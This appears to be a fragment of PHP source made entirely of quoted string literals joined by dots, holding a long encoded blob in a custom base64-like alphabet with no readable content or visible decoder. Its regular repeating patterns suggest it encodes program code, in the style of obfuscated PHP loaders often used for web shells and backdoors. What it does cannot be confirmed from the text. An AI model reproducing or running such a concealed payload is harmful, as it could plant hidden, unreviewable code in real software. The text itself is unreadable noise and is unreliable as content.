'JLACs4ba4ht95hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUkIw6nYe0GMhVR'.
'Y5AnDqpfYH6Qy4vQJLACs4bkYLACgHTvyWareuaCJK6CJwTk74jCKN0wL+vrgWYrVl6R4Nz95'.
'hUk7hUk7hUk7hUk7hUk7hUk7hURLbUk7hUk7hUk7hUk7hUk7hUk7hUkIw6'.
'nYe0GMhVRY5AnDqpGeKAQ1v6Qy4bkYLACgHTvyWareuaCJK6CJwTk74jCKN0wL+vrgWYrVl6R4Nz95'.
'hUk7hUk7hUk7hUkIskf7hUk7hUk7hmaI2SnY2Ak750CK9cQuNcCJwYnK26nILAQsEUkYgtCDNURPbUk7hUk7h'.
'Uk7hUk7hVRY5AnDqpOWgjdJw0GswbkYgtCDqpGjgjdeg08WK6Xr5ba4Zkf7hUk7hUk7hUk7hUkYLACgHTvyg6CJfjQ05VCJMSwL'.
'+6XJLvQJH0XuO6ahNbvPbUk7hUk7hUk7hUk7hAQShbkYLACgHTvygt'.
'CWg0RYNcXyHbaIZkf7hUk7hUk7hUk7hUk7hUkILARVljw746nK2z95hUk7hUk7'.
'hUk7hUkIskf7hUk7hUk7hmx5hUk7hUk7hURVgjRJwcfIGSQ1H6vPbUk7hURLbUk7hURIwc8YgS8Yg6kIGjQy2j'.
'CglcfIH6Qy4cQuNcuWgcGx5VCKgSQYg0f9hVCVl6R4Nkf7hUkIZkf7hUk7hUk7hAQShbkYLACgHTvyv6Qy46nUhUv'.
'LhVw0NURPbUk7hUk7hUk7hUk7hAQShbkYLACgHTvyWSQgP6nUhpvLhV8uqSQgPVw4ht95hUk7hUk7hUk7hUk7hUk7hVRWgcGYq'.
'SQgPUoLh08IwAQyL6fhOVnDhTQSg0w0PUCJHSXu96nW56Q1PSXe4bkYLACgHTvyv6Qy4cQuNck4PUCJHSXu96nW56Q1PSnVObk'.
'YLACgHTvyv6Qy46nUNbvPbUk7hUk7hUk7hUk7hmaIgcRWgURPbUk7hUk7hUk7hUk7hUk7hUkYH6Qy4c'.
'QuNck7sURW90GgEjCS5VwJHUkelAa7q6fJHUkeLVw9h6nW2SnIg0XKgcC12cQx5VRY5AnDqpgWgcGYqSQg'.
'Pba9h6nW2SnIg0XKgcC1K0G05VRY5AnDqpgWgcGYg0f4Nz95hUk7hUk7hU'.
'k7hUkIskf7hUk7hUk7hmaIgcRWgURPbUk7hUk7hUk7hUk7hAQShbkYLACgHTvy'.
'WSQgP6nUhpvLhV8uqSQgPVw4ht95hUk7hUk7hUk7hUk7hUk7hVRW'.
'gcGYqSQgPUoLh08IwAQyL6fhOVnDOTkIg0XWK0CJHACJPcCWq6kh4jCKN0wL+rXJE6CeK'.
'AQ9NbvPbUk7hUk7hUk7hUk7hmaIgcRWgURPbUk7hUk7hUk7hUk7hUk7hUkYH6Qy4cQuNck7sURW90GgEjCS5VwJHUkel'.
'Aa7qjk0PUCJHSXu96nW56Q1PSXe4bkYLACgHTvyv6Qy4cQuNck4Nz95hUk7hUk7hUk7hUkIskf7hUk7hUk7hmx5hUk7h'.
'Uk7hUCgGUkh4jCKN0wL+rXgE6X1gJC3NURPbUk7hUk7hUk7hUk7h6Gsw6Qu2Ak75VRY5AnDq'.
'pgWNcGjP6JYlxnVwSn4hSnDhVRYlxQY40f4ht95hUk7hUk7hUk7hUk7hUk7hAQShbku7VCeKAQ9hpaI9c8Igcfh4'.
'0XJE6CeKAQ9PUkj8Vw4NURPbUk7hUk7hUk7hUk7hUk7hUk7hUkILARVljwIE6n0h0C'.
'K9cQuNcCJwYnK26nILAQsEbkYLACgHTvyPSQyObkjgtCJ2jnYgVw4hTf74jCKN0wL'.
'+rXJE6CeKAQ9PURWgcCSBzgWrveImxeVVJdgoxr9Nz95hUk7hUk7hUk7hUk7hU'.
'k7hmx5hUk7hUk7hUk7hUk7hUk7h6OIejRD5VCeKAQ9PUkjrcH5hVw7EUkYLcLu46RUhTf7fnCMfbvPbUk7hUk7hUk7hUk7hUk7hU'.
'C69jnYHbkYqSQgPTk74ACJK6CJwbvPbUk7hUk7hUk7hUk7hUk7hUC69jnYH'.
'bkYqSQgPTk74SGs4ta4Zkf7hUk7hUk7hUk7hUk7hUk740GJHjQ1LUoLh0CWPc8WgbkYqSQgPbvPbUk7hUk7hUk7hUk'.
'7hUk7hUkYLACgHTvy4cLWKcC1fSQWFb75hUk7hUk7hUk7hUk7hU'.
'k7hUk7hUkh40GJHjQ1LUoLsUo7NT75hUk7hUk7hUk7hUk7hUk7hUk7hUCuw0GuybkYLcLu'.
'46RUNT75hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgHTvy2Sw9bUk7hUk7hUk7hUk7hUk7hUk7h'.
'Uk74jCKN0wL+SGW2T75hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgHTvyvjQVi6'.
'QWLT75hUk7hUk7hUk7hUk7hUk7hUk7hUkYfcXYyT75hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgHTvyC0Gsqkf7hUk7hUk7hU'.
'k7hUk7hUk7Nz95hUk7hUk7hUk7hUk7hUk7hAQShbkYw6nWecRxhUvLhDk4ht95hU'.
'k7hUk7hUk7hUk7hUk7hUk7hURY50Gs8UCygjwI9ARIqSQgP6nVutCWg0RYNcXM5VRY5AnDqpG1KcG05VXJM6QWej'.
'CrOba7EUkYLACgHTvyv6Qy4cQuNck9h0XJP625BreYprusor4gr'.
'arWIvk4Zkf7hUk7hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hURLbUk7hUk7hUkIsUCJP0Xrht95hUk7hUk7hUk7hUkIN6f75'.
'Ur74cQuNck7sURIl0CJEbkYH6Qy4cQuNck9hV80Oba4ht95hUk7hUk7hUk7hUk7hUk7h'.
'jCKwc80hcGJ8URI50CeKAQ1g04JMSXJ9jCglcfh4jCKN0wL+cCuE'.
'6whO6nKgS8JL6a0NUkMhVRY5AnDqpgWgcGYqSQgPTkIH6Q1Gz2NvJdsxnLWaaJYVxLuDbvPbUk7hUk7hUk7hUk7hmx5hUk7hUk7h'.
'Uk7hUkIG0RJL0wh4cQuNck9hVCKgSQYg0f4Zkf7hUk7hUk7hUk7hUC69jnYHbkY'.
'qSQgPTk74SGs4ta4Zkf7hUk7hUk7hUk7hUkYw6nWecRxhpaI9SX1l0Xr5VCeKAQ9Nz95hUk7hUk7hUk7hUk74jCKN0'.
'wL+6CsoSQ1PSGu2Awh5VRVg08JPjk7spa79ba9hVRY5AnDqpOYl'.
'Tk74jCKN0wL+SXDPUkYLACgHTvyfSXDPUkYLACgHTvyvjQVi6QWLTk74SGs4ta9hVRY5AnDqp46wcXLNz95h'.
'Uk7hUk7hUk7hUkIN6f75VRVg08JPjk7Kpa79baIZkf7hUk7hUk7hU'.
'k7hUk7hUkILARVljwIE6n0h0CK9cQuNcCJwYnK26nILAQsEbkYLACgHTvyPSQyObkjgtCJ2jnYg'.
'Vw4hTf74jCKN0wL+rXJE6CeKAQ9PURWgcCSBzgWrveImxeVVJdgoxr9Nz95hUk7hUk7hUk7hUkIskf'.
'7hUk7hUk7hmx5hUk7hUk7hURVgjRJwcfIL0OJgz95hUk7hmx5hUk7h0RVljCJ2j'.
'CJ4UC6ecGWLAQsEUCeKAQ1v6Qy4bkY56Qu46nUPUkYfcXYybx5hUk7ht95hUk7hUk7hUkYLcL'.
'uw0f7sUCuw0Guybk4Zkf7hUk7hUk7h6Gsw6Qu2Ak75VRY5AnDqp'.
'OYlUCuHUkYLcXu46RUNURPbUk7hUk7hUk7hUk7hVRYlxnVwQeLhpa74jCKN0wL+SQY4046l0GeKjkh4jCsK6CYw'.
'bvPbUk7hUk7hUkIskf7hUk7hUk7hVRYlUoLhAQe9cCs46ahOTk7OTk74jCsI0OUNz95hUk7hUk7'.
'hUCgGUkKgcnILtah4jCKN0wL+rXJE6CJwba4ht95hUk7hUk7hUk'.
'7hUk740CuwSQeHUoLhVw7Oz95hUk7hUk7hURLh6Q1H6aIZkf7hUk7hUk7hUk7hUkY'.
'9SnVKcnDhpaIH0RVNcOYGbk0q6fJHVw9hVRY5AnDqpgWgcGYg0f4Zkf7hUk7hUk7hmx5hUk7hUk7hUCgGUk'.
'h4jCKN0wL+rXJE6CJwUkdsUk0OUCuE6k7KAQyNnXjgjkhO0XuG6JsqcXYgVw4NURPbUk7hUk7hUk7hUk7hVCsP6usG0GsqU'.
'oLhAQyNnXjgjkhO0XJE6CeKAQ1m6OVlca0Nz95hUk7hUk7hUk7hUkINcGgm0XJLbkjH6Qy4cQuNcusG0GsqVw9hVR'.
'Y5AnDqpgWgcGYg0f4Zkf7hUk7hUk7hmx5hUk7hUk7hUkYw6nWecRxhpaIGSQ'.
'1H6vPbUk7hUk7hUkIN6f75VRY5AnDqpgWNcGjP6JYlUkSGUCWl'.
'jQyLbkYLcLuw0f4hpf71baIZkf7hUk7hUk7hUk7hUC6l0GJKSXhhbkYLcLuw0'.
'fIK0w74jCsI6CYwbaIZkf7hUk7hUk7hUk7hUk7hUk740GJHjQ1LUoLhVRY5AnDqpGeKAQ1'.
'xSnWHjCKwjah4jCsI6CYwTk74jCKN0wL+r8JfAGJ2jk9hVCVl6R4PUkY56Qu46nUP'.
'UkY9SnVKcnDNz95hUk7hUk7hUk7hUk7hUk7hVRY5AnDqpGYlxXuPcCVKSXP5VRVg08JPjk9h'.
'SnVwSn45VRYlxQY40f4PUkYLACgHTvy2Sw9hVRY5AnDqpGV2Sw9hVRY5AnDqpgWeSGNgS8xPUkYfc'.
'XYyTk74jCKN0wL+YOVlca4Zkf7hUk7hUk7hUk7hURLbUk7hUk7hUkIsUCJP0Xrht95hUk7hUk7hUk7hUk740GJHjQ1LUoLh'.
'VRY5AnDqpGeKAQ1xSnWHjCKwjah4jC3PUkYLACgHTvyvjQVi6QWLTk74SGs4ta9hVCKgSQYg0f'.
'9hVRIK0Guq0w4Zkf7hUk7hUk7hUk7hUkYLACgHTvy4cLWKcC1fSQWFbkYw6nWecRxPUkYLACgH'.
'TvyLcw9hVRY5AnDqpGW2Tk74jCKN0wL+SGW2Tk74jCKN0wL+r8JfAGJ2jk9h'.
'VCVl6R4PUkYLACgHTvyC0GsqbvPbUk7hUk7hUkIskf7hUk7hUk7hAQShbCgH0XJLbkYlcC'.
'Ym6OVlca4NURPbUk7hUk7hUk7hUk7hAQyNn8WgjkhO0XJE6CeKAQ1m6OVlca0PUkYlcCYm6OV'.
'lca4Zkf7hUk7hUk7hmx5hUk7hUk7hUCgGUkhKVRVg08JPjk4ht95hUk7hUk7hUk7'.
'hUkILARVljwIE6n0h0CK9cQuNcCJwYnK26nILAQsEbkYLACgHTvyPSQyObkjNcOWLSQyLAQuL6a0NTk'.
'IH6Q1Gz2NvJdsxnLWaaJYVxLuDbvPbUk7hUk7hUkIskf7hUk7hUk7h0GJLjnVEURYwjQrZkf7hUkIskf7h0RJfcCg2UC6e'.
'cGWLAQsEUCjgjuWWJuIVcOWLSQy26ahNkf7hUkIZkf7hUk7hUk7hAQShbkuN0es'.
'lSGNgS8x5VRY5AnDqpOWqjR7NbaIZkf7hUk7hUk7hUk7hUkYLACgHTvyHcnY9UoLhcGJ8'.
'UuWWJu7Zkf7hUk7hUk7hmx5hUk7hUk7hURVgjRJwcf74jCKN0wL+0XeL0oPbUk7hURLb'.
'Uk7hURIwc8YgS8Yg6kIGjQy2jCglcfIHcnY9rXJE6kh4ACJK6CJwTk74SGs4ta4bUk7hURPbUk7hUk7hUk74S'.
'Gu4n8V20RxhpaIK0OVKtahNz95hUk7hUk7hUCgGUkhKVRY5AnDqpOWqjRIocXyE6QWLbkYLAC'.
'gHTvyvvJYxv8ILAQsE0w4NURPbUk7hUk7hUk7hUk7hjCKwc80hcGJ8URI50C'.
'eKAQ1g04JMSXJ9jCglcfh4jCKN0wL+cCuE6whO0XeL0us2cXyE6QWLnX6KAQ1g6k0NTk'.
'IH6Q1Gz2NvJdsxnLWaaJYVxLuDbvPbUk7hUk7hUkIskf7hUk7hUk7hAQShbk0OUoLsUkYLACgHTvyv6Qy4'.
'6nUNURPbUk7hUk7hUk7hUk7hVRWqjRIm6OVlca7sUkYLACgHTvyC0Gsqz95hUk7hUk7hURLh6Q1H6aIZkf7hUk7h'.
'Uk7hUk7hUkYHcnY9nX6wcXLhpa74jCKN0wL+rXJE6CJwz95hUk7hUk7hURLbUk7hUk7hUkIN6f75UaYLACgHTvy'.
'HcnY9TvyqSQgPbkYHcnY9nX6wcXLNbaIZkf7hUk7hUk7hUk7hUkYLACgHTvyH6nYu0OV'.
'l0fh4jCKN0wL+cCuE6whO6OVlcJsGSQgP6QxOba7EUkYHcnY9nX6wcXLhTf7OUo5hVw7EUCgq0C1'.
'l6Cr5Vw9OTk74jCKN0wL+0XeL0kL+6XJLYnVwc8U5ba4Nz95hUk7hUk7hUk7hUkILARVljwIE6n0h0CK9cQu'.
'NcCJwYnK26nILAQsEbkYLACgHTvyu0OVl04gE6G3PURWgcCSBzgWrveImxeVVJdgoxr9Nz95hUk7h'.
'Uk7hURLbUk7hUk7hUkIGc8VgSQW5UkKK0OVKtah4jCKN0wL+jC3PUkYLACgHTvy2Sw9hVRY5AnDq'.
'pGV2Sw4hSnDhVRYl68Vljn7NURPbUk7hUk7hUk7hUk7h6Gsw6Qu2Ak75VRYl68V'.
'ljn7hSnDhVRYlbaIZkf7hUk7hUk7hUk7hUk7hUkIN6f75UaYLACgHTvyHcnY9Tvyw6QW'.
'N0CggcOx5VRYlQHIjba4ht95hUk7hUk7hUk7hUk7hUk7hUk7hUkYg0OVl0f7sUkYLAC'.
'gHTvyHcnY9TvyO6nYu0OVl0fhNz95hUk7hUk7hUk7hUk7hUk7hUk7hUkYfS'.
'QYm0GW9juqjUoLhSnVwSn45V8YlVw7spf74jCscDuLPUkjg0OVl0f0hpvMhVCJw0GswQwj46nYKAQ'.
'9Ona4Zkf7hUk7hUk7hUk7hUk7hUk7hUk7hVCgHrXJEjk7sUC6KcRWgz95hUk7hUk7hUk'.
'7hUk7hUk7hmaIgcRWgURPbUk7hUk7hUk7hUk7hUk7hUk7hUk74AnWv6QyLUoLhjRVe6vPb'.
'Uk7hUk7hUk7hUk7hUk7hURLbUk7hUk7hUk7hUk7hUk7hUkYLACgHTvy4cLWKc'.
'C1fSQWFbkYN0eWgcOxPUCuw0GuybkYLceP9na4PUCuw0Guybk4PUCuw0Gu'.
'ybk4PUkYLACgHTvyvjQVi6QWLTk74SGs4ta9hVRY5AnDqp46wcXLNz95hUk7hUk7hUk7hUkIskf7h'.
'Uk7hUk7hmx5hUk7hUk7hUCgGUkh5SXsecOx5VRY5AnDqpGuPcusw6QWN0CggcOYHba7+UCWljQy'.
'LbkYfSQYm0GW9jk4NUCuE6k7KVRY5AnDqpOWqjR7qpGYKjCd5VCKgSQYg0f7EUkYfcXYy'.
'ba4ht95hUk7hUk7hUk7hUkILARVljwIE6n0h0CK9cQuNcCJwYnK26nILAQsEbkYLACgHTvyPSQyObkj4SnYKnXyljusKSXWg0R'.
'Yg6k0NTkIH6Q1Gz2NvJdsxnLWaaJYVxLuDbvPbUk7hUk7hUkIskf7hUk7hU'.
'k7hAQShbkYLACgHTvyvvJYxaXJg0duPAn6gbaIZkf7hUk7hUk7hUk7hUkYLACgHTvyHcnY9Tvyw6nWgjkhNz95hUk7'.
'hUk7hURLh6Q1H6aIZkf7hUk7hUk7hUk7hUkYLACgHTvyHcnY9Tvy1jQgLbk4Zkf7hUk7hUk7hUk7hUkYLACgHTvyHcnY9'.
'Tvy2cCsH6ahNz95hUk7hUk7hURLbUk7hUk7hUkIN6f75SXsecOx5VCVK6uswS8ILba7+Uo7NURPbUk7hUk7hUk7hUk7hVCJw0OWL'.
'0f7sUk0Oz95hUk7hUk7hUk7hUkIGc8VgSQW5Ukh4SGu4n8V20RxhSnDhVCVK6k4ht95hUk7hUk7hUk7hUk7hUk7h'.
'VCJw0OWL0f7Epa74SGu4QwjLcwjjUkMhVH5hVw7EUkYfSQYcVXJw0GswVeLZkf7hUk7hUk7hU'.
'k7hURLbUk7hUk7hUk7hUk7hjCKwc80hcGJ8URI50CeKAQ1g04JMSXJ9jCglcfhbUk7hUk7h'.
'Uk7hUk7hUk7hUkYLACgHTvyPSQyObkjw6QWN0CggcOYHnX6KAQ1g6k0NUkMhVCJw0OWL0f9bUk7hUk7hUk7h'.
'Uk7hUk7hURWgcCSBzgWrveImxLszJdgzJrrbUk7hUk7hUk7hUk7hbvPbUk7hUk7hUkIskf7hUk7hUk7h0GJL'.
'jnVEURYwjQrZkf7hUkIskf7hUkI9jQVPAQDh6OJES8YNcXMh0Xe'.
'L0dWlcGygS8x5VCs9jCglcODhpaIK0OVKtahNbx5hUk7ht95hUk7hUk7hUCgGUkKN0esEjQ1Pb'.
'kYLACgHTvyHcnY9ba4ht95hUk7hUk7hUk7hUk74jCKN0wL+0XeL0k7sUkYLACgHTvyO6nYvvJYxaQyHjCuESXr5bvPbUk7hUk'.
'7hUkIskf7hUk7hUk7hAQShbkYLACgHTvyHcnY9Tvy2cXyE6QWL6Qx5ba4ht95hUk7hUk7hUk7h'.
'UkIw6nYe0GMhjRVe6vPbUk7hUk7hUkIskf7hUk7hUk7hVRY5AnDqpOWqjR7qpOWgjuYNcQJljnx5VRY5AnDqpgYNc'.
'QJljnxNz95hUk7hUk7hUkYLACgHTvyHcnY9TvyH6nYd6QVe6L1g'.
'jGJPbkYLACgHTvyvvJYxYCJfjQ0Nz95hUk7hUk7hUkYLACgHTvyHcnY9TvyH6nYd6QVe6LsejRI'.
'ejkh4jCKN0wL+YCJfjQjljnY9jnxNz95hUk7hUk7hUkYLACgHTvyHcnY9TvyH6nYQ6nV9b'.
'kYLACgHTvy4cesX6nV9bvPbUk7hUk7hUk74ACsHjRDhpaIgtRIPc'.
'XYgbk0ZVw9hVRY5AnDqp4Kl08xNz95hUk7hUk7hUkYPSnWL6nK26nILAQsE'.
'UoLhcOJPcoPbUk7hUk7hUkIGc8VgSQW5Ukh4ACsHjRDhSnDhVCKl08YgcOYw'.
'ta4ht95hUk7hUk7hUk7hUk74ACsHjCgE6G3hpaIK0OVKtahNz95hUk7hUk7hUk7hUkIN6f75UnIw6QjmcQuLSXh5'.
'VwstbkKH0X13jC1HbvN0Te9lba55QXdqt4dqQ27qzJ9ETJLibv5/buP9Tvgjb'.
'f44Tw0PURYwAQL5VCKl08YgcOYwta4PUkY5c8WLAQyGcw4NURPbUk7hUk7hUk7hUk7hUk7hUCWlcOYNc'.
'OJgz95hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hUkY90GJGAnhhpa7OVHPbUk7hUk7hUk7hUk7hVR'.
'WgS8Jw6a7sUkYLACgHTvyvvJYxrXJ2jnVgz95hUk7hUk7hUk7hUk74jC1HUoLhbkYLACgHTvyvvJYxrXJ'.
'2jnVgUoLsUkjLcRDObvPbUk7hUk7hUk7hUk7hAQShbkjH0X9OUoLsUkY5c8'.
'WLAQyGcePwnaIl0f75Vw0hpvLhVCKl08YNcG6lQHVjUCuE6k7O08WPVw7spa7'.
'4jCKN0wL+rLerruWgS8Jw6a4NURPbUk7hUk7hUk7hUk7hUk7hUkY90GJGAnhhpa7O08WPzf3l'.
'VHPbUk7hUk7hUk7hUk7hUk7hUkYLcRDhpaIGSQ1H6vPhTw3hxXuEV8xhACuX6aIvrL9hSQy4UuYDrwI'.
'KjkILACrh0Xuq6aILAQegkf7hUk7hUk7hUk7hUk7hUk740XJ2jnVgUoLhV8WHck0Zkf7hUk7hUk7hUk7hURLh6'.
'Q1H6QgGUkh4ACsHjCgE6GscDgLhpvLhV8YP0w0NURPbUk7hUk7hUk'.
'7hUk7hUk7hUkYLcRDhpaIL0OJgz95hUk7hUk7hUk7hUk7hUk7hV'.
'RWgS8Jw6a7sUkjLcRDOz95hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hUkYH0X1gt'.
'RxhpaI46Q6NcGJ4bkjprdJzreWDnLuDYLsmrLKIDa0Nz95hUk7hUk7hUk7hUkIN6f75V8YP0w0hpvLsUkYH6QWe0Grh'.
'c8UhV8WHck0hpvLsUkYH6QWe0GrNURPbUk7hUk7hUk7hUk7hUk7h'.
'UCgGUkhKVRWHcCJMjk4ht95hUk7hUk7hUk7hUk7hUk7hUk7hURY50G'.
's8UCygjwI9ARIqSQgP6nVutCWg0RYNcXM5VRY5AnDqpG1KcG05VXJMjCJE'.
'0XglcgsqAnWHAQyOVw4EVXs96QyH0X9OTkIH6Q1Gz2NvJdsxnLWaaJYVxLuDbvPbUk7hUk'.
'7hUk7hUk7hUk7hURLbUk7hUk7hUk7hUk7hmx5hUk7hUk7hUk7hUk74A'.
'CsHjk7sUkY5c8WLAQyGcePHnvPbUk7hUk7hUk7hUk7hVRIl0Oxhpa74jCKN0wL+rCswjoPbUk7hUk7hUk7hUk7hVR'.
'Y9c8VLUoLhbCgEjCJO6nUNVCKl08YNcG6lQHYjz95hUk7hUk7hUk7hUkIN6f7'.
'5VRY9c8VLUoMhDkIKcGxhVRY9c8VLUo9hW2reDHSNURPbUk7hUk7hUk7hUk7hUk7hUkY9c8VLUoLhVRY9c8VLz95'.
'hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hUCgGUkh4jCKN0wL+0XeL0kL+SXsEcGJ2jk'.
'h40RVg6GgMUkMhVCKl08xPUkY9c8VLTk74jCKN0wL+JCgq6Qsejk9hVCs9jCglcOD'.
'NbaIZkf7hUk7hUk7hUk7hUk7hUkIL0O4ht95hUk7hUk7hUk7hUk7hUk7hUk7hUCgGUkh4jCKN0'.
'wL+aCJPcw4ht95hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk74ACJPcC3hpa74jCKN0wL+aCJPcHPbUk7hUk7hUk7h'.
'Uk7hUk7hUk7hUkIsUCJP0Xrht95hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk74ACJPcC3'.
'hpa74jCKN0wL+0XJwjGJwaCsHjCyKcQr5bvPbUk7hUk7hUk7hUk7hUk7hUk7hUkIskf7hUk7hU'.
'k7hUk7hUk7hUk7hUk7hVRY5AnDqpOWqjR7qpGKgcC1lbkY56Q1Pcw4Zkf7hUk7hUk7hUk7hUk7hUk7hUk7hAQShbkYLACgHTvyv'.
'vJYxxnJLceYDrwIKcGxhVRWHcCJMjkIKcGxhVRWgS8Jw6a7Kpa7O08WPVwIKcGxhVRY5AnDqp'.
'OWqjR7qpGjgjuWg0O6g04JMjkhOreYIrgYrvuDOba4ht95hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk74jC1H'.
'UoLhjRVe6vPbUk7hUk7hUk7hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hUk7hUk7hUk7hAQShbkYLcRDNURPbUk7hU'.
'k7hUk7hUk7hUk7hUk7hUk7hUk7hAQShbkd4jCKN0wL+0XeL0kL+08YK0OYrvuD5ba4ht95hUk7hUk7hUk7hUk'.
'7hUk7hUk7hUk7hUk7hUk7hjCKwc80hcGJ8URI50CeKAQ1g04JMSXJ9jCglcfh4jCKN0wL+cCuE6whOSXs'.
'EcGJ2jus5c8WLVw4Nz95hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hUk7hUk7hUk7h'.
'Uk7hUkYLACgHTvyHcnY9Tvy56Q1Pcwh4ACJPcC3Nz95hUk7hUk7hUk7hUk7hUk7hUk7hURLbUk7hUk7hUk7hUk7hUk7hUk'.
'7hUkIN6f75VRY5AnDqpgWWJuIIjnY5baIZkf7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUCgGUkhKVRY5AnDqpOWqjR7qpGuejC'.
'KgcOYNSXuL6ahbUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgHTvyJ0XJwcGuq6a9bUk7hUk7hUk7hUk'.
'7hUk7hUk7hUk7hUk7hUk7hUkYLACgHTvyxSnWHjXsw6k9bUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgH'.
'TvyIjnY5JRg96a9bUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgHTvya6QuPca9bUk'.
'7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgHTvync8VF08YKjCglch5hUk7hUk7hUk7hUk7hUk7hUk7'.
'hUk7hUk7Nkf7hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUk4ht95hUk7hUk7hUk7hUk7hUk7h'.
'Uk7hUk7hUk7hUk7hjCKwc80hcGJ8URI50CeKAQ1g04JMSXJ9jCglcfh4jCKN0wL+cCuE6whOSnJLACJEjCg2SnYgVw'.
'4Nz95hUk7hUk7hUk7hUk7hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hUk7hUk7hUk7hmx5hUk7hUk7hUk7hUk7h'.
'Uk7hUk7hURVgjRJwcfIL0OJgz95hUk7hUk7hUk7hUk7hUk7hmaI2SnY2Ak75'.
'0CK9cQuNcCJwYnK26nILAQsEUkYgtCDNURPbUk7hUk7hUk7hUk7hUk7hUk7hUk74cCuHjCJMSXJ9jCglcf7sUkYgtCDZkf7hUk7h'.
'Uk7hUk7hUk7hUk7hUk7hVRY5AnDqpGJ46QVe6wh46nK2TvyO6nYW6nWHSQjgbk4Nz95hUk7hUk7hUk7hUk7hUk7hUk7hUkYLACgH'.
'TvyHcnY9Tvy1jQgLbk4Zkf7hUk7hUk7hUk7hUk7hUkIskf7hUk7hUk7hUk7hURLbUk7hUk7hUkIsk'.
'f7hUk7hUk7hVRY5AnDqpOWqjR7qpGWPc8Wgbk4Zkf7hUk7hUk7hAQShb'.
'kYLACgHTvygtCWg0RYNcXyHUCuE6k7KAnWmcOJPckh4cCuHjCJMSXJ9jCglcf4'.
'NURPbUk7hUk7hUk7hUk7hjCKwc80hVC1K08YgtCWg0RYNcXMZkf7hUk7hUk7hmx5hUk7hUk7hURVgjR'.
'JwcfIGSQ1H6vPbUk7hURLbUk7hURIeSG1NSwIGjQy2jCglcfIHcnY9xX1'.
'l0Xr5bx5hUk7ht95hUk7hUk7hUCgGUkh4jCKN0wL+0XeL0k7KpvLhcOJPck4ht95hUk7hUk7hUk7hUkIN'.
'6f75VRY5AnDqpOWqjR7qpGWlcGygS8Yg6khNbaIZkf7hUk7hUk7hUk7hUk7hUk74jCKN0wL+0XeL0kL+0nJNjkhNz95hUk7hUk7'.
'hUk7hUk7hUk7hVRY5AnDqpOWqjR7qpGWPc8Wgbk4Zkf7hUk7hUk7hUk7hURLbUk7hUk7'.
'hUkIskf7hUkIskf7hkf7hUkI9jQVPAQDh6OJES8YNcXMh0XJLvCuE68JK6Xr5VC1KcGj2cXYgUoLhVXJEVw9hVC1KcGjm0C'.
'uLAk7sUk0Obx5hUk7ht95hUk7hUk7hUk3lUdYg6GgE6aIGjQ1PURWgjkIl6f'.
'IL0GuE0X1KjCufcCrh08YwAQyO0wINcfIucGjPAnW5kf7hUk7hUk7hVuIUrdeIar1urgsDxryRU'.
'oLhSnVwSn45kf7hUk7hUk7hUk7hUkjKjnY56QyLAQWKjCrOUoL+UkjvvJYxUdJw0GswzfIoc8JP6kIEc8xhSnJ'.
'LACJEjCg2SnYgTf0Pkf7hUk7hUk7hUk7hUkj2cXyE6QWLnXKl08xOUoL+UkjvvJYxUdJw0Gswzf'.
'Ioc8JP6kIEc8xhSXsEcGJ2jkILcwIvvJYxUCKl08xEVw9bUk7hUk7hUk'.
'7hUk7hVXYKjCumcGsLnXu2SXJ9jCJ4Vw7spf7OrLerrkIu0OVl025h6CuLSaI'.
'Ec8xhSQW26nIL6QxEVw9bUk7hUk7hUk7hUk7hVXJq0RYynXeg08WK6XrOUo'.
'L+UkjW6nWHSQjgUCVl6R4h6Qe9jR4OT75hUk7hUk7hUk7hUk7O6Qy'.
'2cXYNcG0OUoL+UkjJcGqEc8jEUCJESXs4AQyOzf7OT75hUk7hUk7hUk7hUk7O6nKgS8JL6a0hpvMhVLWljQ14'.
'UCyljkIgtCJ2jnYgzf7OT75hUk7hUk7hUk7hUk7O6GgP6JsKSXWg08DOUoL+Ukjoc'.
'8JP6kIEc8xhSQW26nWHUC6NcCrBUk0Pkf7hUk7hUk7hUk7hUkjGAQ1gnXs96QMOUoL+UkjCAQ1gUdJw0GswzfIoc8JP6kIEc8xhc'.
'8IgcfIGAQ1gzf7OT75hUk7hUk7hUk7hUk7O6OVlcJsGSQgP6QxOUoL+UkjrA'.
'Crh6GsPcCs8AQyOUd6wcXLhSQY40GJH0wIGSQgP6QxBUk0Pkf7hUk7hUk7h'.
'Uk7hUkjNcOWLSQyLAQuL6a0hpvMhVLWljQ14UCyljkINcOWLSQyLAQuL6aIqSQgPUC6ecGWLAQsETf0Pkf7hUk7hUk7hU'.
'k7hUkjNcO6KcCg4nXu46RVg08DOUoL+UkjVcO6KcCg4UCu46RVg08DOT75hUk7hUk7hUk'.
'7hUk7OcQuNcCJwnXyljusHjnI9c8VL6QxOUoL+Uk0hcQuNcCJwUCgHUCyljkIHj'.
'nI9c8VL6QxEVw9bUk7hUk7hUk7hUk7hV8Iwc86N6CJmSQY40GJH0w0hpvMhVegljaIqjnW'.
'LURIwc86N6CrhSnxhcCJK08xhcXygURVgSXg9AQJEjkIgcQuNckIK6CYw6nWHTf0Pkf7hUk7hUk7hU'.
'k7hUkjw6QWN0CggcOYHnX6KAQ1g6k0hpvMhVeWWJu7hYnVwc8UBUuY56a'.
'IGcX1Pc8jNcG0h0GJ2AnIN6QyL0wIGSQgP6QxBUk0Pkf7hUk7hUk7hUk7hUkjHAQjEAQyOVw7spf7OrXgOcGgE'.
'6wIu0OVl025hVw9bUk7hUk7hUk7hUk7hV8WqjRImSXsEcGJ2jusGSQgP6QxOUoL+UkjvvJYxUCWlcGyg'.
